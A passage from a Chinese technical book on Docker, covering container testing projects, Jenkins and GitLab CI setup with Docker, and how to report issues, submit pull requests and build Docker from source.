在Docker生态圈的章节中已经提到，AppC标准和OCI开放容器标准的出现使得越来越多的厂商开始开发自己的容器产品。如何选择一款合适、安全的容器产品将会成为未来用户尤其是商业用户亟需考虑的问题。华为公司推出的开放容器测试项目（Open Container Test）就是为了验证不同容器产品在兼容性、安全性、功能和性能等方面存在的问题，为用户和开发者提供客观的参考。

OCT测试覆盖了以下四个方面的内容。

·OCI标准测试：该测试又包括三个部分，分别是文件格式、容器的标准操作（如create、start、stop等操作）、容器的运行环境。OCI标准测试一方面用于检验一个容器镜像是否有签名，是否符合OCI标准；另一方面检验一个容器引擎是否符合OCI标准，是否能够正确地基于OCI的镜像启动容器。

·功能测试：指测试容器产品是否兼容不同体系结构；是否兼容常用的编排调度工具；是否兼容不同的存储和分发方案。

·性能测试：对容器的并发、资源占用情况进行详尽的分析。

·安全测试：包括对容器隔离性的测试，以及对不同安全策略执行情况的测试。

在架构上OCI包括的三部分，全部以开源的形式放到Github上，内容如下所示。

·测试工具套件。测试套件包括华为开发的针对容器标准和容器性能的测试工具和社区开发的测试工具。Github地址为：https://github.com/huawei-openlab/oct。

·测试用例库。OCT用JSON格式定义了测试用例的编写方式，包括描述信息、所需资源、部署环境、运行命令、收集日志五个模块，可以很方便地使用测试工具套件中提供的工具。Github地址为：https://github.com/huawei-openlab/oct-engine/cases。

·测试引擎。测试引擎可以自动从测试用例库里面获取尚未执行或更新过的用例，并将其中定义的资源自动部署到对应的服务器中，从而运行相应的容器引擎进行测试，最后还会生成一个测试报告。Github地址为：https://github.com/huawei-openlab/oct-engine。

OCT目前完成了OCI标准测试部分的工具开发和用例开发，未来计划和更多的容器厂商、用户、社区开发者一起合作，开发出更多针对容器技术的测试工具和测试用例。

13.2　Docker技术在测试中的应用

在传统的软件开发流程中，软件开发团队将特性开发完成后，首先会在自己本地的环境中完成单元测试，之后会将代码提交到Git仓库中。测试团队则会将代码从Git仓库下载到测试机上，运行手动测试并编写自动化测试脚本，如果没有发现Bug，则发布软件版本给运维团队。然后，运维团队再将软件产品部署在运维服务器中。

这个过程的痛点在于：

·开发、测试、运维环境无法统一。需要3个团队各自搭建环境，造成了工作内容重复，并且无法保证在开发环境中可运行的软件也能在测试环境和运维环境中正常运行。

·开发人员在提交代码前所做的测试并不一定充分，特别是在项目紧张的时候这个问题尤为突出，这很可能引入新的Bug。无法通过一种有效的机制确保在代码提交前已进行了充分的测试。

·当环境复杂时，开发人员不易复现测试人员提交的Bug，往往会出现开发人员和测试人员互相推诿的现象。

然而，当Docker被引入到持续集成构建系统中时，一切发生了革命性的变化。由于Docker快速部署和通过镜像共享工程环境的功能，使得开发团队、测试团队和运维团队能够复用工程环境，这也是开发、测试、运维一键化部署的基础。在开发团队完成某个特性（包含特性代码和该特性的测试用例）后就会发送一个合入请求，Git仓库管理工具在收到这个请求时会自动触发Jenkins进行自动化测试，以便在第一时间发现新的代码是否会引入Bug。若测试成功运行，maintainer会将代码合入到Git仓库中，这个操作又会触发Jenkins的自动构建，将该软件版本部署到应用服务器中。

如今Docker已经对测试技术产生了深远的影响，目前国内已有很多公司发布了基于Docker容器技术的开发、测试、运维一站式解决方案。同时与Docker相关的编排管理工具也在不断地完善中，使得Docker在测试领域得到了广泛的应用。

提示 Jenkins

Jenkins是一个开源软件项目（https://jenkins-ci.org/），旨在提供一个开放易用的软件平台，使软件的持续集成变成可能。它是基于Java开发的一种持续集成工具，可以方便地安装很多第三方插件（其中包括多种Docker插件）。通过Jenkins可以执行和监控重复的工作，功能包括：

·持续的软件版本发布/测试项目。

·监控外部调用执行的工作。

当应用场景复杂时，往往会有多个Jenkins任务需要协同工作，例如编译、病毒扫描、rpm包制作、单元测试、集成测试、UI测试、性能测试等。而各模块间相互又有一定的依赖度，增加了部署工作的难度。还好Jenkins拥有Build Pipeline插件，pipeline的中文含义是流水线，意思是把复杂的步骤按照流水线的顺序排好，做完一个再做下一个。它可以将各任务之间的关系变为可视化的图表，使得部署流程清晰可见。

如图13-2所示，在这个Build Pipeline中首先会执行编译测试，当编译测试执行完成后会依次执行单元测试、集成测试和系统测试。在该界面中可以很容易地跟踪各任务的状态，绿色表示任务已经执行通过，黄色代表任务正在执行，蓝色代表任务还未执行（本书为黑白印刷，在实际操作中可根据颜色辨别执行状态）。

图13-2　Build Pipeline插件

在引入Docker技术后，可以利用Docker将每一个任务模块化，并通过Dockerfile制作成有针对性的镜像来运行任务。在管道图中可以获取每一个任务的执行时间、执行结果，为产品成功发布奠定基础。

之后则需要将软件部署到生产环境中。合理地利用和调度Docker是一个难点，可以考虑搭建一个可定制可伸缩的分布式环境，而这个环境就是基于Docker的测试私有云。也可以考虑引入Mesos或Kubernetes等编排工具，先前的章节中已经介绍过这两个工具，这里不再赘述。项目团队可以针对自己的实际情况，在上述开源软件的基础上添加新特性，定制适合自身项目的解决方案。

13.2.1　Docker对测试的革命性影响

1）让单元测试运行得更顺畅。

使用单元测试驱动开发是一个很好的应用程序开发方式。单元测试和开发代码往往是同时提交到代码库中的。而很多单元测试通常都依赖于很多其他服务，这些服务的标准化配置往往成为难点，比如数据库的搭建、防火墙的配置等。通过Docker容器可以轻松地将配置打包制作成镜像，从而平滑地完成这些测试。

2）让虚拟机不再困扰集成测试和功能测试。

因为成本原因，原先很多不同业务的测试会运行在同一个虚拟机中，这就可能导致测试环境被污染。现在可以利用Docker在数秒内快速部署清洁的测试环境，即使是微服务的架构也能够通过Docker完成环境的快速部署。测试人员能够在CI中运行不同的任务，并可以非常便捷地将测试环境与同事共享。

3）让测试团队和客户丢掉冗长的配置文档。

现在软件的复杂度越来越高，环境配置的难度也越来越大，在传统的环境下，测试人员常常要根据用户文档进行环境配置，但这个配置的过程会花费很长的时间，并且失败的几率很高。而当开发环境和测试环境不一致时，还时常会导致无效的Bug报出。在笔者先前的工作经历中，曾经花费了几天的时间定位一个问题，最后发现问题的元凶仅仅是某个开发人员擅自在开发环境中安装了一个软件包而没有把这个操作更新到用户文档中。

而Docker可以很容易地将软件运行环境打包成镜像，确保开发、测试、运维中软件环境的一致性，这种一致性意味着配置文件、权限、路径等细节的统一。

4）可以轻松地复现客户报告的Bug。

在传统的开发环境下，客户的环境往往无法共享给产品的开发团队，这就导致开发团队常常无法有效复现客户的Bug，不得不通过客户发来的log进行细致的分析。而Docker通过镜像的方式使得开发人员能够快速搭建客户运行软件的场景，从而能够更快更准确地定位问题。

5）通过Dockerfile可以梳理好测试镜像制作的流程。

当配置测试镜像的步骤需要微调时，只需要修改Dockerfile中对应的配置项，不必手动重新制作测试镜像。例如在编译系统项目的测试中，每一个迭代对应着不同版本的编译器，针对每一个迭代，测试人员在需要将该迭代对应的编译器版本打包成镜像时，只需修改Dockerfile中编译器的版本号和路径即可重新生成新的测试镜像，不必手动重新制作测试镜像。

6）方便软件厂商将成熟的测试套或测试工具通过镜像共享。

当软件厂商发布成熟的测试套或测试工具时，可以将其打包成为镜像直接发布。例如，我们可以直接使用Jenkins的镜像来配置环境，不必花费额外的时间根据用户手册配置环境。

13.2.2　Docker技术适用范围

虽然Docker公司高调宣称“Build，Ship，and Run Any App，Anywhere”，即“在任何地方都可以使用Docker构建、部署、运行任何应用程序”，但Docker仍然有其使用局限性：

·由于容器与主机共用内核，如果容器需要使用不同的内核版本就不得不更换主机内核。

·不能修改内核参数或自主定制内核。

·对内核版本有依赖性，Docker通常需要3.10或以上版本的内核。

·在容器中加载或卸载内核模块会影响到主机和其他容器。

·跨主机容器间通信能力不足。

·无法像qemu一样模拟嵌入式系统运行环境。

提示

在某些旧版内核中也可以运行Docker，但Docker官方对这类内核不提供支持，而且这类内核可能会有很多潜在的问题。另外，运行Docker对很多内核编译选项有要求，基于旧版内核的Linux发行版不一定开启了这些编译选项，可能需要用户重新编译内核才能运行Docker。

简而言之，对于内核版本无具体要求的测试用例，推荐使用Docker。而对于内核版本有具体要求的测试用例不适用Docker方案。表13-2中列举了一些业务类型供参考。

表13-2　测试用例分析

13.2.3　Jenkins+Docker自动化环境配置

1.搭建Jenkins环境

搭建Jenkins环境有两种方法。

方法1：直接在主机中配置Jenkins环境。

# wget -qO - http://pkg.jenkins-ci.org/debian/jenkins-ci.org.key | apt-key add - && echo 'deb http://pkg.jenkins-ci.org/debian binary/' | tee /etc/apt/sources.list.d/jenkins.list && apt-get update && apt-get install Jenkins

可以在浏览器上输入127.0.0.1：8080进入Jenkins页面。

方法2：使用Docker镜像配置Jenkins环境。

首先下载Jenkins镜像。

$ docker pull jenkins

之后启动Jenkins容器。

$ docker run -d -p 49001:8080 -t Jenkins

可以在浏览器上输入127.0.0.1：49001进入Jenkins页面。

2.构建Gitlab环境

Gitlab是一个开源项目管理程序。它使用Git作为代码管理工具，可以通过Web界面访问开源项目或私有项目。它和Github有类似的功能，能够浏览源代码，管理缺陷和注释。关于搭建GitLab环境的步骤已经远超本书的范围，读者可以参考https://gitlab.com。

3.配置Jenkins环境并新建一个Jenkins任务

首先根据以下步骤安装表13-3中所示的Jenkins控件。

表13-3　Jenkins控制版本

在Jenkins界面点击左侧菜单中的“系统管理”，然后在新出现的页面中点击“管理插件”（如图13-3所示）。

图13-3　Jenkins管理插件页面

之后在页面中选择“可选插件”选项卡，然后在页面右上角的“过滤”框中输入需要的控件名称。搜索到控件后，选中控件并点击页面底部的“直接安装”按钮。

注意

大家可以在以下网页中获取更多Jenkins控件：https://wiki.jenkins-ci.org/display/JENKINS/Plugins。

接下来配置一下Jenkins的从节点。首先使用如下命令在从节点主机上安装Java包。

# apt-get install default-jre

注意

Jenkins主节点是Jenkins Web Server所在的主机，它负责测试任务的调度，不负责测试用例的执行。而从节点接受主节点的调度，负责测试用例的执行。

在Jenkins的主页中点击“系统管理”，在新的页面中点击“管理节点”。之后点击“新建节点”，输入你的节点名称，本例中使用slave-pc作为节点名称。然后选择“Dumb Slave”并点击OK按钮。然后在新的页面中指定一个从节点主机的目录作为远程工作目录。接着选择“Launch slave agents on Unix machines via SSH”作为启动方式。并输入从节点IP作为Host。最后，根据提示在Credentials中添加用户名和密码，点击Save按钮保存设置。

配置好从节点后，来新建一个Jenkins任务。回到Jenkins主页，在左侧的菜单中点击“新建”按钮。在新打开的页面中选择“构建一个自由风格的软件项目”，输入一个字符串作为item名称，这里选用merge_request_test作为名称。然后点击OK按钮进入到配置页面（如图13-4所示）。

进入配置页面后，选中“在必要的时候并发构建”（如图13-5所示）。

在“源码管理”中，选择Git。在Repository URL输入框中输入项目Git仓库的地址，如http://gitlab.internal.com/myproject.git。点击“高级”按钮后在Name输入框中输入origin。之后点击“Add Repository”添加第二个仓库。

图13-4　新建Jenkins任务

图13-5　选择并发构建

根据图13-6，填写Repository URL输入框和高级设置中Name输入框中的内容。

图13-6　添加第二个仓库

接下来在Branch Specifier框中输入参数。对于single repository配置，输入origin/${gitlabSourceBranch}；对于forked repository配置，输入${gitlabSourceRepoName}/${gitlabSourceBranch}。在本例中通过自己fork的工程由Merge Request的方式合并代码，所以将后者的参数填写到Branch Specifier输入框中，如图13-7所示。

图13-7　配置Branch Specifier

在图13-8所示的界面，点击Add按钮并选择“Merge before build”。

图13-8　配置Merge before build

根据图13-9，填写Name of repository、Branch to merge to、Merge strategy、Fastfor-ward mode输入框中的内容。

图13-9　配置Merge before build

在“构建触发器”设置中，选择“Build when a change is pushed to GitLab.GitLab CI Service URL：...”

在“构建”设置中，点击“增加构建步骤”并选择“Execute shell”，然后在Command框中输入以下内容。

docker run -ti --privileged -v `pwd`:/tmp testimage:latest bash -c "cd /tmp && ls && /tmp/autotest.sh"

当合入请求触发Jenkins任务时，Git仓库的代码首先会被下载到当前目录下，Docker会通过-v选项将当前目录映射到容器的/tmp目录下，并开始执行autotest.sh自动化脚本来运行自动化测试。

4.配置GitLab中的项目参数

进入GitLab的项目设置中选择“web hooks”。在URL中输入Jenkins项目的链接，内容为${JenKinsIp}：${port}/project/${projectname}，如http://10.107.193.192：8080/project/merge_request_test。

在图13-10所示的界面，选择“Merge Request events”作为自动化测试触发对象。之后点击“Add Web Hook”来添加Web Hook。

注意

默认的自动化触发对象是Push events，它适合的开发场景是：开发者A、B、C在同一个Git仓库下开发代码，使用了不同的分支，即branchA、branchB、branchC。每个人完成代码开发后将代码push到自己的分支，这时就会触发Jenkins自动化测试。

而Merge Request events的场景是本书中使用的，它更适合不同团队向同一个Git仓库贡献代码，贡献者先要通过fork操作克隆出自己的仓库，修改代码后再提交Merge Request。

图13-10　配置Web Hook

图13-10中的这个URL会添加到Web Hook列表中，为保证自动化测试能够成功触发，点击“Test Hook”来验证该URL是否有效（如图13-11所示）。

图13-11　测试Web Hook

这样，每一次合入请求提交后，都会触发一次自动化测试，以验证提交的代码是否能通过测试。测试log如下：

Started by GitLab push by Yuan Sun
Building remotely on slave-pc （10.110.52.49） in workspace /tmp/jenkins/workspace/merge_request_test
> git rev-parse --is-inside-work-tree # timeout=10
Fetching changes from 2 remote Git repositories
> git config remote.origin.url http://gitlab.internal.com/myproject.git # timeout=10
Fetching upstream changes from http://gitlab.internal.com/myproject.git
> git --version # timeout=10
> git -c core.askpass=true fetch --tags --progress http://gitlab.internal.com/myproject.git +refs/heads/*:refs/remotes/origin/*
> git config remote.origin.url http://gitlab.internal.com/myproject.git # timeout=10
Fetching upstream changes from http://gitlab.internal.com/myproject.git
> git -c core.askpass=true fetch --tags --progress http://gitlab.internal.com/myproject.git +refs/heads/*:refs/remotes/origin/*
> git rev-parse 141b6f38200e6660d5d3de93e5e030ae808c9fe6^{commit} # timeout=10
> git branch -a --contains 141b6f38200e6660d5d3de93e5e030ae808c9fe6 # timeout=10
> git rev-parse remotes/origin/master^{commit} # timeout=10
Checking out Revision 141b6f38200e6660d5d3de93e5e030ae808c9fe6 （origin/master）
> git config core.sparsecheckout # timeout=10
> git checkout -f 141b6f38200e6660d5d3de93e5e030ae808c9fe6
> git rev-list 658a722afb673adc9af17d3270049e9565ffdd25 # timeout=10
[merge_request_test] $ /bin/sh -xe /tmp/hudson5122964563975945406.sh
+ pwd
+ docker run --privileged -v /tmp/jenkins/workspace/myautotest:/tmp testimage:latest bash -c /tmp/autotest.sh
test pass
Finished: SUCCESS

5.Jenkins中的常用Docker插件简介

表13-4列举了Jenkins中常用的Docker插件，读者可以在Jenkins插件页面中查看具体的使用说明。

表13-4　Jenkins中常用的Docker插件

Jenkins中的Docker插件出现的时间不长，很多功能还有待完善，配置时需要读者更加细心。相信有了Docker插件，Jenkins自动化工具将会如虎添翼。

13.3　本章小结

随着Docker技术的日趋成熟，相信在Docker社区中会有更多的开发人员和测试人员投入到完善测试架构和贡献测试用例的工作中。现在，使用Docker来构建自动化测试流程已经成为软件测试人员必备的技能。相信不久的将来会有更多与Docker相关的测试工具和测试控件问世。

第14章　参与Docker开发

Docker当前处于快速成长期，各种新的特性不断加入，也有各种问题不断出现，同时很多现有的功能也有待完善，而这正好给全世界的Docker爱好者、使用者、开发者提供了大量的参与Docker开发的机会。本章将讨论如何改进Docker、搭建Docker开发环境、参与社区交流，最后将介绍Docker的项目组织架构。

14.1　改进Docker

14.1.1　报告问题

报告问题是改进Docker的一个重要部分，为了提高社区解决问题的效率，报告问题时需要注意以下几点：

·报告前先在Docker的Issues库里查找是否有相同或相似的问题存在，如果有，回复“+1”或者“I have this problem too”，以表示这是一个普遍性的问题，有助于吸引社区的注意，提高其解决的优先级。

·为了让社区快速审查和解决这个问题，问题描述应尽量清楚，最好能包括以下内容：问题描述、docker的版本信息（docker version的输出内容）、docker的配置信息（docker-D info的输出内容）、主机内核版本信息（uname-a的输出内容）、主机环境的详细信息、问题复现的步骤、实际运行的结果、期望运行结果和一些附加信息。下面是报告问题的模板，报告问题时最好能按这个模板来填写。

Description of problem:
`Docker version`:
`Docker -D info`:
`uname -a`:
Environment details (AWS, VirtualBox, physical, etc.):
How reproducible:
Steps to Reproduce:
1.
2.
3.
Actual Results:
Expected Results:
Additional info:

如果你没有按以上的模板报告问题，会收到GordonTheTurtle的回复，提醒你添加以上内容，这是机器人的自动回复。GordonTheTurtle是Docker的一只宠物乌龟，名字叫Gordon，是Docker公司的吉祥物，这只乌龟在Github上的账号就是GordonTheTurtle，它会对提交到Docker的Issue和PR做一些自动检查的工作。

对于安全相关的问题，不要公开报告，而应将你的问题发送至security@docker.com。

14.1.2　提交补丁

任何的开发者都没有权限直接向Docker的代码库提交补丁，开发者提交补丁是通过向Docker代码库发送Pull Request（以下简称PR）的方式。PR就是合并分支，将你的开发分支与Docker代码库的master分支合并就表示成功地将你的补丁合入到Docker了。对Docker的任何一个改动都是通过PR的方式，PR可以是修改单词拼写错误，也可以是修复Bug，可以是添加新的特性，也可以是代码重构。下面就是提交PR的步骤。

1.建立本地的Docker代码库

PR就是将你的github上的Docker代码库中的开发分支与Docker的master分支合并，所以首先你在Github上要有一个自己的Docker代码仓库。登录自己的Github账号后，找到Docker的代码库主页（https://github.com/docker/docker），点击主页右上角的fork，从官方的Docker的代码库中复制出一个你自己的Docker代码库，这样你就可以直接向你的Docker代码仓库提交代码了，以后发送PR时都是先提交到你自己的Docker代码仓库中。

将你自己的Docker代码仓库clone到本地，生成一个本地的Docker代码仓库，所有的开发都是在本地Docker代码仓库进行的。clone到本地的命令行如下，其中YOUR-ACCOUNT就是github账户。

$ git clone https://github.com/YOUR-ACCOUNT/docker.git

然后，添加一个upstream远端库来与官方的Docker代码库同步，执行如下命令行：

$ git remote add upstream https://github.com/docker/docker.git

Docker的master分支更新速度很快，每天都有大量的patch合入，所以最好每天都将本地Docker仓库的master分支与upsream的master分支同步。执行以下命令行可完成同步：

$ git pull upstream master

本地Docker代码库、自己Github账户上的Docker代码库、Docker官方代码库这三者有如图14-1所示的关系。

图14-1　代码库之间的关系

2.建立开发分支

对Docker进行任何改动，都要从你本地Docker代码库的master分支切出一个新的开发分支，不建议直接在master分支上进行开发。要经常将你的master分支与Docker官方的master分支同步，以确保你的开发分支都是基于最新的master分支进行开发的；新建的开发分支的命名最好与这个PR的目的有关，让人从这个分支的名字上就可以看出这个分支的作用，命名可以遵循下面的规则：

·当这个PR是修复Issues库中的某个问题时，分支的名字类似为xxx-something，其中xxx为Issues库中的问题单号，如果这个问题在Issues库中没有，可以命名成fix_something，如fix_automatically_publish_port；

·当你进行一个特性开发的时候，最好先在Issues上提一个特性开发的Issue来获得社区的反馈，在获得社区的积极反馈后，就可以进行开发了，请将你的特性开发的分支命名为xxx-something，其中xxx就是这个Issue的单号，如果没有在Issues上提相应的Issue，则你的特性开发分支可以为add_something，如add_support_cpu_cfs_quota。

3.开发你的PR

开发PR时，除了修改或添加满足功能的代码，测试用例和文档也是一个重要的组成部分。如果你的PR是bugfix或新增特性的，需要添加相应的测试用例。如果不知道怎么写测试用例，可以参照已有的测试用例，集成测试用例在源码目录中的integration-cli目录下，单元测试用例是以_test.go结尾的文件。在提交PR之前，一定要跑通所有的测试用例；若你的PR是新增一个特性或修改一个特性，则需要更新必要的Docker文档，Docker文档在源码目录的docs和man目录下，包括一些man手册、API手册和一些使用参考等。

4.提交你的更改

代码开发完成并跑通所有的测试用例后，将代码改动、测试用例改动、文档改动提交到本地Docker代码库，提交的时候需要注意以下几点：

·提交之前确保你的代码格式符合要求，可用gofmt-w-s来格式化你的代码或安装编辑器的go格式插件来自动完成，如果你的代码格式不符合要求，发送PR到Docker社区时CI会报错；

·commit标题开头必须是大写字母，尽量精简，50个字符以内，采用无人称的句式，如果有更多的解释说明，则在commit信息的正文中详细说明；

·如果你的PR是修复具体的Issue，则在commit的标题上加上Closes#xxx或者Fixes#xxx，其中xxx是Issue单号，这样PR被合入的时候相应的问题单就会被自动关闭；

·在提PR的时候不要把你自己的名字添加到AUTHORS这个文件里，这个文件是根据Git提交历史周期性更新的；

·记得要在commit信息的最后一行上加上Signed-off-by，如Signed-off-by：YOURNAME<your_email@example.com>，这是一个法律声明，这个签名证明你是这个patch的作者，你有权力将它开源发布，如果发布PR的时候没有在commit信息中加上这个Singed-off-by，CI会报错，同时GordonTheTurtle将自动回复你的PR提醒你添加Singed-off-by。本地提交后，将你的开发分支推送到你Github上的Docker代码库，命令行如下，其中YOUR_BRANCH就是你的开发分支。

$ git push -f origin YOUR_BRANCH

如果你的PR在审查过程中进行了修改，修改完成后也要直接执行这个命令行更新你的PR。

5.发布PR

将你的PR推送到你自己Github账户上的Docker仓库后，登录Github，进入Github上Docker官方的仓库主页，这时下面会多出一个Compare&pull request的按钮（如图14-2所示）。

点击Compare&pull request按钮，进入Open a pull request的页面，在这个页面下编辑你的PR描述，描述尽量清晰，可以加上问题的链接。之后点击Create pull request创建你的PR。这样你的PR就完成了。创建PR或更新PR时都会触发CI流程，这个流程就是检测你的PR是否有Signed-off-by，代码的修改是否符合格式要求，是否能通过所有的测试用例，如果这些都通过了，在PR页面的下方会有如图14-3所示的提示，表示你的PR已经通过了CI。

图14-2　发布PR

图14-3　PR通过CI

6.PR审查

一个处于审查中的PR一定是处于下面五种状态中的一种，分别是：0-needs-triage、1-needs-design-review、2-needs-code-review、3-needs-docs-review、4-needs-merge。

·0-needs-triage：待分类状态，所有新创建的PR都是这个状态，意味着Maintainer应该将这个PR分类，进入1-design-review状态，或者2-code-review状态，或者3-docs-review状态，或者直接关闭。

·1-needs-design-review：设计审查阶段，处于这个状态的PR不进行代码审视，而是由Maintainer进行设计的审查，为了更好地表达出设计思路，PR的作者应该做一些文档的阐述，便于Maintainer更好地理解你的设计思路。如果Maintainer觉得设计没问题，就可以进入下一个阶段，即2-needs-code-review或者3-needs-docs-review，如果Maintainer觉得设计思路有问题，会将这个PR关闭或展开讨论。

·2-needs-code-review：代码审查阶段，在这个阶段Maintainer会进行代码的审查以确保代码的质量，或者确定代码是否实现了设计思路；如果需要增加文档，Maintainer会要求PR作者增加文档；最重要的一点是，在这个状态的PR必须通过所有的测试用例。如果在这个阶段，Maintainer发现了设计思路上的新问题，可以回到1-design-review状态；如果代码审查没有问题，则进入docs-review状态或4-needs-merge状态。

·3-needs-docs-review：文档审查阶段，这个阶段Maintainer会审查文档是否符合规范，是否有语法错误或单词拼写错误。文档的修改必须由两个文档子系统的Maintainer给了LGTM才能通过。

·4-needs-merge：等待合入状态，Maintainer应该尽快将这个PR合入。

Maintainer在评论中使用LGTM（Looks Good To Me）来代表他们接受这个PR，一个PR必须要得到每个受影响模块的大多数Maintainer的LGTM才可以被合入。如果这个PR影响到某子系统，则必须得到这个子系统的Maintainer的同意；如果这个PR不属于某个特定的子系统或子系统的Maintainer没有及时作出回应，则必须得到核心Maintainer的同意；如果这个PR影响到UI和API，或者它是对整个架构的一个修改，则必须得到架构师的同意；如果这个PR是跟整个项目的运行相关的，则必须得到相关运营人员的同意；如果这个PR会影响项目的管理、哲学、目标、原则，则必须获得BDFL的同意。关于子系统Maintainer、核心Maintainer、架构师、运营人员、BDFL这些内容将在后面介绍。比如说，PR修改了docs/和registry/，则必须同时得到docs子系统的Maintainer和Registry子系统的Maintainer的LGTM才可以被合入。

若你更新了你的PR，应该在PR上发布一个评论，如updated，这样可以通知代码审查者PR已经更新可以重新审查。更多的内容请参考http://docs.docker.com/opensource/how-to-contribute/。

14.2　编译自己的Docker

参与Docker开发就离不开Docker的编译，在问题定位的过程中，经常要在源码中添加打印，打印出自己想要的信息；或者自己添加了新的特性，需要进行验证，这些都要重新编译源码生成二进制。下面介绍的是Linux下x86平台的Docker源码编译。

14.2.1　使用make工具编译

这是Docker默认的编译方法，前提是要在主机上安装了Docker，当然，另外还需要安装make和Git。执行以下命令行从Github上将Docker的代码仓库clone到本地：

$ cd YOURT_PATH
$ git clone https://github.com/docker/docker.git
$ cd docker

在源码目录下直接执行如下命令：

$ make binary

如果是第一次编译，这将是一个漫长的过程，Makefile先会调用docker build，使用源码目录下的Dockerfile生成一个image，并在这个image中安装编译Docker源码所需的任何依赖，然后使用这个image启动一个容器，在容器里完成Docker源码的编译。

14.2.2　手动启动容器编译

上面使用make工具的编译方法可能会由于网络问题导致部分依赖不能安装，为了更快速和灵活地编译Docker，可以使用官方的dockercore/docker这个镜像来启动容器编译Docker源码和运行测试用例，在Docker的源码目录下执行下面的命令行：

$ docker run -ti --privileged --name docker-dev -v $(pwd):/go/src/github.com/docker/docker dockercore/docker ./hack/make.sh binary

这条命令将使用dockercore/docker镜像启动一个容器进行Docker源码的编译，如果本地无dockercore/docker镜像，Docker将会去Docker hub将这个镜像pull下来。编译过程如图14-4所示，编译生成的二进制在源码目录的bundles{VERSION}/binary/目录中。

图14-4　编译过程

停止Docker daemon进程，将这个目录下的docker-{VERSION}文件复制到/usr/bin/docker覆盖原来的Docker可执行文件，这样就完成了Docker的编译和安装。

这里解释一下上面编译用到的命令行：

$ docker run -ti --privileged --name docker-dev -v $(pwd): /go/src/github.com/docker/docker dockercore/docker ./hack/make.sh binary

这个命令行使用dockercore/docker镜像启动了一个容器，dockercore/docker是官方提供的编译Docker的一个镜像，里面已经包含了编译Docker的所有依赖，需要特别说明的是，由于Docker源码的master分支更新速度很快，对环境的依赖可能会发生变化，因此如果发现编译报错，则需要更新dockercore/docker这个镜像；其中

·-v$（pwd）：/go/src/github.com/docker/docker是将Docker的源码目录挂载到容器内的/go/src/github.com/docker/docker目录下；

·--privileged是使用特权模式启动这个容器，因为在这个容器中需要进行一些mount的操作，而启动容器时默认是没有这个权能的，如果不用--privileged，而用--cap-add SYS_ADMIN也可以；

·--name docker-dev就是将这个容器命名为docker-dev；

·./hack/make.sh binary是进入容器后执行的命令，即编译Docker的命令。

执行了上面的命令行之后，就创建了一个编译Docker的容器，之后要再次编译Docker的话，只需执行：

$ docker start –ai docker-dev

Docker引用了大量其他项目的源码包，如distribution源码包、logrus源码包等，这些源码包都安装在dockercore/docker这个镜像的/go/src/目录下，因此如果没有及时更新dockercore/docker镜像，编译的时候就有可能会报错，即使没有报错，但是Docker使用的可能不是最新的第三方源码包。除了经常更新dockercore/docker镜像这个方法外，更好的方法是在启动容器的时候将docker/vendor/src目录挂载到容器的/go/src目录下，这样就能保证每次编译使用的第三方源码包都是最新的。整个命令行如下：

$ docker run -ti --privileged --name docker-dev -v $(pwd)/vendor/src:/go/src -v $(pwd):/go/src/github.com/docker/docker dockercore/docker ./hack/make.sh binary

14.2.3　编译动态链接的可执行文件

使用make工具的编译方法是无法编译出动态链接的Docker可执行文件的，当使用devicemapper作为storage-driver时。为了使能Udev sync，必须用动态链接的可执行文件，而这只能使用手动启动容器的方式。方法跟上节介绍的一样，只是将./hack/make.sh binary换成了./hack/make.sh dynbinary。需要注意的是，如果编译出来的可执行文件是在支持SELinux而不是支持Apparmor的系统上（如RHEL7），启动编译的容器时需要设置环境变量DOCKER_BUILDTAGS为DOCKER_BUILDTAGS="selinux btrfs_noversion"。如果编译出来的可执行文件是用在Ubuntu等使用Apparmor的系统上的，则不需要这个环境变量。

在Docker源码目录下执行以下命令行编译动态链接的可执行文件：

$ docker run -ti --rm --privileged -e DOCKER_BUILDTAGS="selinux btrfs_noversion" -v $(pwd):/go/src/github.com/docker/docker dockercore/docker ./hack/make.sh dynbinary

编译出来的动态链接的Docker可执行文件在bundles/VERSION/dynbinary/目录下，安装的时候需要将docker-{VERSION}和dockerinit-{VERSION}这两个可执行文件同时复制到/usr/bin/目录下，并重命名成docker和dockerinit。

如果想编译experimental版本的Docker，则在启动容器的命令行中添加环境变量DOCKER_EXPERIMENTAL=true，整个命令行如下：

$ docker run --rm --privileged -t -i -e DOCKER_EXPERIMENTAL=true -v $(pwd):/go/src/github.com/docker/docker dockercore/docker ./hack/make.sh binary

experimental版本的Docker包含一些试验性的特性，这些特性尚不能用在生产环境中，只是提供给大家试验。

14.2.4　跑测试用例及小结

在修改了代码后，需要确保所有的测试用例都能通过，测试的内容详见13.1节。

使用容器来编译Docker正是Docker的一个应用场景，因为编译Docker需要安装大量的依赖工具和源码包，而在不同的发行版上，这些工具包和源码包的安装方式都不一样，这会使Docker编译的通用性大大降低。因此，使用Docker容器的方式将Docker编译所依赖的工具包和源码包打包成一个镜像，将这个编译环境和主机环境解耦，使其不再有依赖关系。这样一来，在任何能跑Docker的环境上都可以利用这个镜像启动一个容器，在容器中完成编译，而不必在主机上安装任何工具包和源码包。同时，这个镜像可以放在Docker hub上跟大家共享，任何人都可以将这个镜像pull下来编译Docker源码，从此告别复杂而繁琐的依赖安装，只需一个命令就能给你一个环境让你完成编译。

需要特别说明的是，如果要在生产环境中使用Docker，手动启容器这种编译方法是不推荐的，因为dockercore/docker所安装的依赖不一定能完全匹配需要编译的源码，这种方法推荐使用在开发环境中。不使用Docker容器来编译Docker也是可行的，但需要在主机上安装必要的工具并设置好对应的环境变量，读者可以参考源码目录下的Dockerfile来设置编译环境。

14.3　开源的沟通和交流

14.3.1　Docker沟通和交流的途径

Docker社区很庞大，沟通和交流的途径很多，包括邮件列表、IRC、Github社区。

·邮件列表：Docker有开发者邮件列表和用户邮件列表，这两个邮件列表都在Google group上，登录https://groups.google.com直接搜索docker-dev和docker-user，加入到这个群组里面就可以参与沟通交流。

·IRC：在Freenode IRC网络上有两个Docker的频道，#docker和#docker-dev，#docker频道是讨论用户的一些求助的问题，#docker-dev用来讨论开发工作。

·Github：Docker本身的代码库和相关的代码库（如machine、swarm、compose等）都托管在Github上，这里是一个非常活跃的社区，每天都有大量的Issue和PR在这里讨论，点击Docker仓库主页上方的Watch进行关注，有关Docker的讨论将自动发送到你的邮箱里。

14.3.2　开源沟通和交流的建议

参与开源项目是与全世界的开发者一起合作开发，怎样与这些开发者沟通交流、建立互信也是非常重要的。开源就意味着开放、自由、共享，因此在开源的沟通和交流过程中就应该把握这个原则。下面是一些开源沟通和交流的建议。

